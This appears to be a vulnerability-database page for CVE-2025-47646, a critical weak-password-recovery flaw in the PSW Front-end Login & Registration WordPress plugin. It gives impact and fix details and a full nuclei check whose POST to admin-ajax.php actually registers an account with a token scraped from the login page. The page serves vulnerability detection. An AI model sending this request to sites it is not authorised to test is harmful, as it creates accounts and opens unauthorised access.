HexBrain

Browse / CVEs / CVE-2025-47646

CVE-2025-47646· CWE-640

PSW Front-end Login & Registration 1.13 - Weak Password Recovery

criticalseverity
9.8CVSS score
24.7%likelihood of exploitation, next 30 days
98%of all CVEs are less likely
Readycheck to confirm it

PSW Front-end Login & Registration plugin for WordPress contains a weak password recovery mechanism that can be exploited by unauthenticated attackers. This vulnerability affects versions through 1.13 and allows attackers to potentially gain unauthorized access.

Impact

Unauthenticated attackers can register new administrator accounts through weak password recovery mechanisms, potentially gaining complete administrative access to the WordPress site.

Fix

Upgrade PSW Front-end Login & Registration plugin to version 1.14 or later that implements secure password recovery mechanisms.

How to confirm it

Send: GET /wp-login.php
Positive when: contains "psw_registration" and "pswlogform" and "/wp-content/plugins/psw-login-and-registration"
Send: POST /wp-admin/admin-ajax.php
Positive when: contains_all(body, "{{username}}","activation link") and status_code == 200

Run it with nuclei: nuclei -id CVE-2025-47646 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2025-47646

info:
  name: PSW Front-end Login & Registration 1.13 - Weak Password Recovery
  author: pussycat0x
  severity: critical
  description: |
    PSW Front-end Login & Registration plugin for WordPress contains a weak password recovery mechanism that can be exploited by unauthenticated attackers. This vulnerability affects versions through 1.13 and allows attackers to potentially gain unauthorized access.
  impact: |
    Unauthenticated attackers can register new administrator accounts through weak password recovery mechanisms, potentially gaining complete administrative access to the WordPress site.
  remediation: |
    Upgrade PSW Front-end Login & Registration plugin to version 1.14 or later that implements secure password recovery mechanisms.
  reference:
    - https://github.com/RootHarpy/CVE-2025-47646
    - https://github.com/Nxploited/CVE-2025-47646
    - https://patchstack.com/database/wordpress/plugin/psw-login-and-registration/vulnerability/wordpress-psw-front-end-login-registration-1-12-broken-authentication-vulnerability?_s_id=cve
    - https://github.com/PuddinCat/GithubRepoSpider
    - https://github.com/nomi-sec/PoC-in-GitHub
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-47646
    cwe-id: CWE-640
    epss-score: 0.24718
    epss-percentile: 0.97911
  tags: cve,cve2025,wordpress,wp-plugin,psw,intrusive,vuln

variables:
  username: "{{randstr}}"
  password: "{{randstr}}"
  email: "{{randstr}}@{{rand_base(5)}}.com"

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-login.php HTTP/1.1
        Host: {{Hostname}}

    redirects: true
    matchers:
      - type: word
        part: body
        words:
          - "psw_registration"
          - "pswlogform"
          - "/wp-content/plugins/psw-login-and-registration"
        condition: and
        internal: true

    extractors:
      - type: regex
        name: token
        group: 1
        regex:
          - 'name="pswforgetform" value="(.*?)"'
        internal: true

  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
        X-Requested-With: XMLHttpRequest
        Origin: {{RootURL}}
        Referer: {{RootURL}}

        first_name={{username}}&last_name={{username}}&new_user_name={{username}}&new_user_email={{email}}&new_user_password={{password}}&new_user_password_confirmation={{password}}&action=register_user_front_end&psw_form={{token}}

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "{{username}}","activation link")'
          - 'status_code == 200'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from